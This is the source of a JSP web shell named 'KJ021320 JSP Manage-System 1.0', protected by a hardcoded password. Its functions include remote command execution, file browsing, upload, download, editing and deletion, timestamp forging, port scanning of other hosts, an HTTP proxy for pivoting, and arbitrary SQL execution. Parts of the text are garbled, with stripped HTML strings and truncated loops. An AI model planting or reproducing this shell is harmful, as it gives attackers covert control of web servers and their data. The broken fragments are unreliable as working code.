%@page import="java.util.*,java.io.*,java.sql.*,java.util.zip.*,java.lang.reflect.*,java.net.*,javax.servlet.jsp.*"%>
<%@page contentType="text/html;charset=GBK"%>
<%@page pageEncoding="gb2312"%>
<%!
final String APP_NAME="KJ021320 JSP Manage-System 1.0";
int portListen=5000;//set the httpproxy port
boolean openHttpProxy=false;//set the httpproxy load-on-start-up
%>
<%
session.setMaxInactiveInterval(6000);
final String WEB_SITE=folderReplace(application.getRealPath("/"));
final String URL=request.getRequestURI();
if(session.getAttribute("ID")==null){
// the user and pass field
String username="kj021320";
String password="kj021320";
// the user and pass field
if(request.getParameter("LName")!=null&&request.getParameter("LPass")!=null&&request.getParameter("LName").equals(username)&&request.getParameter("LPass").equals(password)){
session.setAttribute("ID","1");
response.sendRedirect(URL);
}else{
out.println("
"+APP_NAME+"
" +
"");
}
return;
}
%>
<%=APP_NAME%>
<%
String Action=request.getParameter("Action");
char action=(Action==null?"0":Action).charAt(0);
try{
switch(action){
//each skill
case 'M':mainMenu(out,WEB_SITE);break;
case 'F':showFiles(out,encodeChange(request.getParameter("FolderPath")));break;
case 'S':showSystemInfo(out);break;
case 'L':servletInfo(config,out);break;
case 'D':downFile(encodeChange(request.getParameter("Filename")),response);return;
case 'E':editFile(encodeChange(request.getParameter("Filename")),out);break;
case 'R':deleteFile(encodeChange(request.getParameter("Filename")),out);break;
case 'K':saveFile(encodeChange(request.getParameter("filename")),request.getParameter("FileContent").getBytes("ISO-8859-1"),out);break;
case 'N':renameFile(encodeChange(request.getParameter("Filename")),out);break;
case 'P':copyFile(encodeChange(request.getParameter("Filename")),out);break;
case 'd':dateChange(encodeChange(request.getParameter("Filename")),request.getParameter("year"),request.getParameter("month"),request.getParameter("day"),out);break;
case 'r':execFile(encodeChange(request.getParameter("execFile")),out);break;
case 'Z':zip(encodeChange(request.getParameter("Filename")),encodeChange(request.getParameter("FolderPath")),out);break;
case 'U':upfile(request,out,encodeChange(request.getParameter("UPaddress")));break;
case 'n':newFolder(out,encodeChange(request.getParameter("Filename")));break;
case 'A':reflectAPI(out,encodeChange(request.getParameter("Filename")));break;
case 'I':scanPort(out,encodeChange(request.getParameter("IPaddress")),Integer.parseInt(request.getParameter("startPort")),Integer.parseInt(request.getParameter("endPort")));break;
case 's':ConnectionDBM(out,encodeChange(request.getParameter("driver")),encodeChange(request.getParameter("conUrl")),encodeChange(request.getParameter("user")),encodeChange(request.getParameter("password")),encodeChange(request.getParameter("run")),encodeChange(request.getParameter("sqlcmd")));break;
case 'H':switchProxyService(out);break;
case 'i':userInterFaces(out);break;
case 'T':systemTools(out);break;
default:
mainForm(WEB_SITE,out);break;
}
}catch(Exception e){
}
out.print("");
out.close();
%>
<%!
//the main framwork
void mainForm(String web_Site,JspWriter out)throws Exception{
out.print("");
out.print("");
out.print(" |
");
out.print(" | ");
out.print("");
out.print("");
out.print(" |
");
}
//menu form to choose
void mainMenu(JspWriter out,String web_Site)throws Exception{
out.println("");
}
//show all files and folders
void showFiles(JspWriter out,String path)throws Exception{
File file=new File(path);
long maxSize=0;
if(file.isDirectory()&&file.exists()){
File[] f=file.listFiles();
out.println("name | type | size | modify date | readonly | can write | hidden | Action |
");
for(int i=0;i"+ico(48)+f[i].getName()+" | DIR | "+getSize(f[i].length())+" | "+new java.util.Date(f[i].lastModified())+" | "+f[i].canRead()+" | "+f[i].canWrite()+" | "+f[i].isHidden()+" | "+fOperation(true,f[i].getAbsolutePath())+" | ");
else
out.println(""+ico(50)+f[i].getName()+" | file | "+getSize(f[i].length())+" | "+new java.util.Date(f[i].lastModified())+" | "+f[i].canRead()+" | "+f[i].canWrite()+" | "+f[i].isHidden()+" | "+fOperation(false,f[i].getAbsolutePath())+" |
");
}
out.println("
");
out.print("this folder size:"+getSize(maxSize));
}
}
//show the system information
void showSystemInfo(JspWriter out)throws Exception{
Map map=null;
Set set=null;
Iterator it=null;
/*use for jdk1.5
map=System.getenv();
set=map.keySet();
it=set.iterator();
out.print("
System Env info:");
while(it.hasNext()){
Object oName=it.next();
out.println("- "+oName+" [ "+map.get(oName)+" ]");
}
out.print("
");
*/
map=System.getProperties();
set=map.keySet();
it=set.iterator();
out.println("
System Property info:");
while(it.hasNext()){
Object oName=it.next();
out.println("- "+oName+" [ "+map.get(oName)+" ]");
}
out.print("
System CPU :");
out.print(Runtime.getRuntime().availableProcessors()+"
");
out.print("the JVM Free Memory :"+getSize(Runtime.getRuntime().freeMemory()));
out.print("
the JVM Max Memory :"+getSize(Runtime.getRuntime().maxMemory()));
}
//show servlet information
void servletInfo(ServletConfig config,JspWriter out)throws Exception{
ServletContext sc=config.getServletContext();
out.println("Server info: "+sc.getServerInfo()+"
");
out.println("ServletContext name: "+sc.getServletContextName()+"
");
out.println("Major version :"+sc.getMajorVersion()+"
");
out.println("Minor version :"+sc.getMinorVersion()+"
");
Enumeration en=sc.getInitParameterNames();
String initInfo="init parameter:
";
out.print(initInfo);
while(en.hasMoreElements()){
String name=(String)en.nextElement();
initInfo="key:"+name+" value:"+sc.getInitParameter(name) +"
";
out.print(initInfo);
}
}
//down the server file
void downFile(String filename,HttpServletResponse res)throws Exception{
int w=0;
byte[] buffer=new byte[256];
byte[] b=(new File(filename)).getName().getBytes("gb2312");
String outFile=new String(b,"ISO-8859-1");
res.reset();
res.setHeader("Content-disposition","attachment;filename=\""+outFile+"\"");
ServletOutputStream sos=res.getOutputStream();
BufferedInputStream bis=null;
try{
bis=new BufferedInputStream(new FileInputStream(filename));
while((w=bis.read(buffer,0,buffer.length))!=-1){
sos.write(buffer,0,w);
}
}catch(Exception e){
}finally{
if(bis!=null)bis.close();
}
sos.flush();
res.flushBuffer();
}
//delect file
void deleteFile(String filename,JspWriter out)throws Exception{
File f=new File(filename);
if(f.exists()){
if(f.delete())out.print(filename+"delete success...");
}else{
out.print("file not find!!");
}
}
//rename the file
void renameFile(String filename,JspWriter out)throws Exception{
int split=filename.indexOf("|");
String newFilename=filename.substring(split+1);
filename=filename.substring(0,split);
File f=new File(filename);
if(f.exists()){
if(f.renameTo(new File(newFilename)))out.print(newFilename+" file move success");
}else{
out.print("file not find!!");
}
}
//file copy
void copyFile(String filename,JspWriter out)throws Exception{
int split=filename.indexOf("|");
String newFilename=filename.substring(split+1);
filename=filename.substring(0,split);
File f=new File(filename);
BufferedInputStream bis=null;
BufferedOutputStream bos=null;
if(f.exists()){
try{
bis=new BufferedInputStream(new FileInputStream(filename));
bos=new BufferedOutputStream(new FileOutputStream(newFilename));
int s=0;
while((s=bis.read())!=-1){
bos.write(s);
}
}catch(Exception e){
out.print("file copy error");
}finally{
if(bis!=null)bis.close();
if(bos!=null)bos.close();
}
out.print(newFilename+"file copy success");
}else{
out.print("file not find!!");
}
}
//file editor
void editFile(String filename,JspWriter out)throws IOException{
File f=new File(filename);
out.print("");
}
//file save
void saveFile(String filename,byte[] fileContent,JspWriter out)throws IOException{
if(filename!=null||fileContent!=null){
BufferedOutputStream bos=null;
try{
bos=new BufferedOutputStream(new FileOutputStream(filename));
bos.write(fileContent,0,fileContent.length);
}finally{
if(bos!=null)bos.close();
}
out.print(filename+"file save success");
}else{
out.print("Error");
}
}
//chang the file modify date
void dateChange(String filename,String year,String month,String day,JspWriter out)throws IOException{
File f=new File(filename);
if(f.exists()){
Calendar calendar=Calendar.getInstance();
calendar.set(Integer.parseInt(year),Integer.parseInt(month),Integer.parseInt(day));
if(f.setLastModified(calendar.getTimeInMillis()))
out.print(filename+"file date change success");
else
out.print(filename+"file date change error");
}else{
out.println("file not find!!!");
}
}
//run file
void execFile(String file,JspWriter out)throws Exception{
int i=0;
Runtime rt=Runtime.getRuntime();
Process ps=rt.exec(file);
InputStreamReader isr = null;
char[] bufferC=new char[1024];
try{
isr=new InputStreamReader(ps.getInputStream(),"GB2312");
out.print("");
systemTools(out);
}
//zip zhe folder
void zip(String zipPath, String srcPath,JspWriter out) throws Exception {
FileOutputStream output = null;
ZipOutputStream zipOutput = null;
try{
output = new FileOutputStream(zipPath);
zipOutput = new ZipOutputStream(output);
zipEntry(zipOutput,srcPath,srcPath,zipPath);
}catch(Exception e){
out.print("file zip error");
}finally{
if(zipOutput!=null)zipOutput.close();
}
out.print("zip ok"+zipPath);
}
//add the zip entry
void zipEntry(ZipOutputStream zipOs, String initPath,String filePath,String zipPath) throws Exception {
String entryName = filePath;
File f = new File(filePath);
if (f.isDirectory()){// check is folder
String[] files = f.list();
for(int i = 0; i < files.length; i++)
zipEntry(zipOs, initPath, filePath + File.separator + files[i],zipPath);
return;
}
String chPh = initPath.substring(initPath.lastIndexOf("/") + 1);// ?????
int idx=initPath.lastIndexOf(chPh);
if (idx != -1) {
entryName = filePath.substring(idx);
}
ZipEntry entry;
entry = new ZipEntry(entryName);
File ff = new File(filePath);
if(ff.getAbsolutePath().equals(zipPath))return;
entry.setSize(ff.length());
entry.setTime(ff.lastModified());
//the CRC efficacy
entry.setCrc(0);
CRC32 crc = new CRC32();
crc.reset();
zipOs.putNextEntry(entry);
int len = 0;
byte[] buffer = new byte[2048];
int bufferLen = 2048;
FileInputStream input =null;
try{
input = new FileInputStream(filePath);
while ((len = input.read(buffer, 0, bufferLen)) != -1) {
zipOs.write(buffer, 0, len);
crc.update(buffer, 0, len);
}
}catch(Exception e){
}finally{
if(input!=null)input.close();
}
entry.setCrc(crc.getValue());
}
//file upload to server
void upfile(HttpServletRequest request,JspWriter out,String filename)throws Exception{
String boundary = request.getContentType().substring(30);//?????
ServletInputStream sis=request.getInputStream();
BufferedOutputStream bos=null;
byte[] buffer = new byte[256];
String line=null;
for(int i=0;i<5;i++){
line=readLine(buffer,sis);
}
try{
bos=new BufferedOutputStream(new FileOutputStream(filename));
//read the filedata
while(line!=null&&line.indexOf(boundary)==-1){
bos.write(buffer,0,line.getBytes().length);
line=readLine(buffer,sis);
}
out.print("upload success!");
}catch(Exception e){
out.print("upload error");
}finally{
if(bos!=null)bos.close();
}
}
String readLine(byte[] lineByte,ServletInputStream servletInputstream){
try{
int len=0;
len=servletInputstream.readLine(lineByte,0,lineByte.length);
if(len == -1){
return null;
}else{
return new String(lineByte,0,len);
}
}catch(Exception _ex){
return null;
}
}
//create folder
void newFolder(JspWriter out,String foldername)throws Exception{
File f=new File(foldername);
if(f.mkdirs()){
out.print("the folder create success!");
}else{
out.print("the folder create error");
}
}
//reflect java API classes
void reflectAPI(JspWriter out,String className)throws Exception{
Class cls=Class.forName(className);
String constructor="";
String ifString="";
Class[] interfaces=cls.getInterfaces();
String supperClass=cls.getSuperclass().toString();
Constructor[] c=cls.getDeclaredConstructors();
Field[] f=cls.getDeclaredFields();
Method[] m=cls.getDeclaredMethods();
for(int i=0;i"+Modifier.toString(cls.getModifiers())+" "+cls+"
extends "+supperClass+"
implemets "+ifString);
out.print("
{
Constructor:
");
for(int i=0;i");
out.print("Field:
");
for(int i=0;i");
out.print("Function:
");
for(int i=0;i");
out.print("
}");
}
//scan the remote server port
void scanPort(JspWriter out,String strAddress,int startPort,int endPort)throws Exception{
if(endPort65535||endPort>65535||endPort<=0){
out.print("port setup error");
return;
}
InetAddress ia=InetAddress.getByName(strAddress);
for(int p=startPort;p<=endPort;p+=15){
(new ScanPort(ia,p,p+14,out)).start();
}
Thread.sleep((int)(endPort/startPort)*5000);
}//scan port class
class ScanPort extends Thread{
int startPort;
int endPort;
InetAddress address;
javax.servlet.jsp.JspWriter out;
public ScanPort(InetAddress address,int startPort,int endPort,JspWriter out){
this.address=address;
this.startPort=startPort;
this.endPort=endPort;
this.out=out;
}
public void run(){
Socket s=null;
for(int port=startPort;port<=endPort;port++){
try{
s=new Socket(address,port);
out.println("port "+port+" is Open
");
}
catch(IOException e){
}finally{
try{s.close();}catch(Exception e){}
}
}
}
}
public void switchProxyService(JspWriter out)throws Exception{
if(openHttpProxy=!openHttpProxy){//open the proxy
new RunProxyService(portListen).start();
out.print("Proxy running");
}else{
out.print("Proxy closed");
}
}
//open httpProxy service
public class RunProxyService extends Thread{
int port;
public RunProxyService(int port){
this.port=port;
}
public void run(){
try {
ServerSocket ss=new ServerSocket(5000);
while(true){
if(openHttpProxy){
new HttpProxy(ss.accept()).start();
}else{
break;
}
}
ss.close();
} catch (IOException e) {
}
}
}
//HttpProxy class
public class HttpProxy extends Thread{
private Socket s;
public int timeOut=10000;
public HttpProxy(Socket s){
this.s=s;
}
public HttpProxy(Socket s,int timeOut){
this.s=s;
this.timeOut=timeOut;//set the connection timeout
}
public void run(){
byte[] bit=new byte[1024];
int readBit=0;
int size=0;
String returnAddress=null;//return to the address
int returnPort = 0; //return to the port
String sendHostName=null;
int sendPort=0;
Socket sendSocket=null;
OutputStream os=null;
InputStream is=null;
try{
int split=0;
is=s.getInputStream();
//get the http head information
if((size=is.read(bit, 0, bit.length))==-1)return;
String httpHead=new String(bit,0,size);
split=httpHead.indexOf("\nHost: ")+7;
sendHostName=httpHead.substring(split, httpHead.indexOf("\n", split));
//get the hostname and port
if((split=sendHostName.indexOf(':'))!=-1){
sendPort=Integer.parseInt(sendHostName.substring(split+1).trim());
sendHostName=sendHostName.substring(0,split);
sendSocket=new Socket(sendHostName.trim(),sendPort);
}else{
sendSocket=new Socket(sendHostName.trim(),80);
}
sendSocket.setSoTimeout(timeOut);
//send user headhttp
os=sendSocket.getOutputStream();
os.write(httpHead.getBytes());
//send user datas
if(size==bit.length)
while((size=is.read(bit, 0, bit.length))!=-1){
os.write(bit,0 , size);
}
os.flush();
//get WEBSITE html and user browser's output
is=sendSocket.getInputStream();
os=s.getOutputStream();
while((size=is.read(bit, 0, bit.length))!=-1){
os.write(bit,0 , size);
os.flush();
}
}catch(SocketException se){
} catch (IOException ie) {
} catch (Exception e) {
}finally{
//close the stream
if(is!=null){
try {
is.close();
} catch (IOException e) {
}
}
if(os!=null){
try {
os.close();
} catch (IOException e) {
}
}
}
}
}
//connection to the database
void ConnectionDBM(JspWriter out,String driver,String url,String userName,String passWord,String sqlAction,String sqlCmd)throws Exception{
DBM dbm=new DBM(driver,url,userName,passWord,out);
if(sqlAction.equals("LDB")){
dbm.lookInfo();
}else{
dbm.executeSQL(sqlCmd);
}
dbm.closeAll();
}
//database manager class
class DBM{
private JspWriter out;
private Connection con;
private Statement stmt;
private ResultSet rs;
public DBM(String driverName,String url,String userName,String passWord,JspWriter out)throws Exception{
Class.forName(driverName);
this.out=out;
con=DriverManager.getConnection(url,userName,passWord);
}
public void lookInfo()throws Exception{
DatabaseMetaData dbmd=con.getMetaData();
String tableType=null;
out.print("DataBaseInfo");
out.print("DataBaseName: | "+dbmd.getDatabaseProductName()+" |
");
out.print("DataBaseVersion: | "+dbmd.getDatabaseProductVersion()+" |
");
out.print("the Numeric Function: | "+dbmd.getNumericFunctions()+" |
");
out.print("the String Function: | "+dbmd.getStringFunctions()+" |
");
out.print("the TimeDate Function: | "+dbmd.getTimeDateFunctions()+" |
");
out.print("the System Function: | "+dbmd.getSystemFunctions()+" |
");
out.print("
");
out.print("ProcedureInfo");
try{
getProcedureDetail(dbmd.getProcedures(null,null,null));
}catch(Exception proE){}
//show all the tables
try{
rs=dbmd.getTables(null,null,null,null);
}catch(Exception tabE){}
out.print("DataBase Tables Info
");
while(rs.next()){
tableType=rs.getString(4);
out.print("TableName:"+rs.getString(3)+" Type:"+tableType+"
");
if(tableType.indexOf("VIEW")>=0||tableType.indexOf("TABLE")>=0){
try{
getTableDetail(dbmd.getColumns(null,null,rs.getString(3),null));
}catch(Exception columnE){}
}
}
this.closeAll();
}
//show the column information
private void getTableDetail(ResultSet tableRs)throws Exception{
out.print("COLUMN_NAME | DATA_TYPE | TYPE_NAME | COLUMN_SIZE | IS_NULLABLE | CHAR_OCTET_LENGTH |
");
while(tableRs.next()){
out.print(""+tableRs.getString(4)+" | "+tableRs.getInt(5)+" | "+tableRs.getString(6)+" | "+tableRs.getInt(7)+" | "+tableRs.getString(18)+" | "+tableRs.getInt(16)+" |
");
}
out.print("
");
tableRs.close();
}
//show all the procedures
private void getProcedureDetail(ResultSet procRs)throws Exception{
out.print("PROCEDURE_NAME | REMARKS | PROCEDURE_TYPE |
");
while(procRs.next()){
out.print(""+procRs.getString(3)+" | "+procRs.getString(7)+" | "+procRs.getShort(8)+" |
");
}
out.print("
");
procRs.close();
}
//run the sql command
public void executeSQL(String sqlCmd)throws Exception{
stmt=con.createStatement();
if(sqlCmd.trim().toLowerCase().startsWith("select")){
rs=stmt.executeQuery(sqlCmd);
ResultSetMetaData rsmd=rs.getMetaData();
int ColumnCount=rsmd.getColumnCount();
out.print("");
for(int i=1;i<=ColumnCount;i++){
out.print(""+rsmd.getColumnName(i)+" | ");
}
out.print("
");
while(rs.next()){
out.print("");
for(int i=1;i<=ColumnCount;i++){
out.print(""+rs.getString(i)+" | ");
}
out.print("");
}
}else{
stmt.executeUpdate(sqlCmd);
out.print("execute success");
}
}
//close all the resource
public void closeAll()throws SQLException{
try{
if(rs!=null)rs.close();
}catch(Exception e){
}
try{
if(stmt!=null)stmt.close();
}catch(Exception e){
}
try{
if(con!=null)con.close();
}catch(Exception e){
}
}
}
//the other tools
void systemTools(JspWriter out)throws Exception{
out.print("");
}
//user interfaces==========================//
void userInterFaces(JspWriter out)throws Exception{
out.print("if u want to add an function ,u can coding in 'userInterFaces'function");
}
//=========================================//
%>
<%!
String encodeChange(String str)throws Exception{
if(str==null)
return null;
else
return new String(str.getBytes("ISO-8859-1"),"gb2312");
}
String folderReplace(String folder){
return folder.replace('\\','/');
}
String fOperation(boolean f,String file){
if(f)
return "Delete Rename setDate Zip";
else
return "Delete Rename setDate Copy Edit Down";
}
String getSize(long size){
if(size>=1024*1024*1024){
return new Long(size/1073741824L)+"G";
}else if(size>=1024*1024){
return new Long(size/1048576L)+"M";
}else if(size>=1024){
return new Long(size/1024)+"K";
}else
return size+"B";
}
String ico(int num){//ico
return ""+num+"";
}
String htmlEntity(String htmlCode){//html uncode
htmlCode=htmlCode.replaceAll("&","&");
htmlCode=htmlCode.replaceAll("<","<");
return htmlCode.replaceAll(">",">");
}
%>